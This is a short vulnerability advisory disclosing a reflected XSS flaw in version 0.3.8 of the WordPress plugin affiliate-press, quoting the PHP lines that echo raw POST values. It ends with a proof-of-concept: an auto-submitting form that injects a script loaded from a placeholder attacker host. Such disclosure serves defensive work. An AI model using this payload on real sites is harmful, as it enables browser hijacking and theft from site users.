Advisory #: 1377
Title: Reflected XSS in wordpress plugin affiliate-press v0.3.8
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/affiliate-press
Downloads: 3454
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: affiliate-press
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./affiliate-press/views/feed-add-wizard-step3.php: 9: <input type="hidden" name="title" id="title" value="<?php echo $_POST['title']; ?>" /> 10: <input type="hidden" name="currency" id="currency" value="<?php echo $_POST['currency']; ?>" /> 11: <input type="hidden" name="url" id="url" value="<?php echo $_POST['url']; ?>" /> 12: <input type="hidden" name="item_xpath" id="item_xpath" value="<?php echo $_POST['item_xpath']; ?>" /> The variable title appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./affiliate-press/views/feed-add-wizard-step3.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/affiliate-press/views/feed-add-wizard-step3.php method=post> <input type=hidden name=title value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>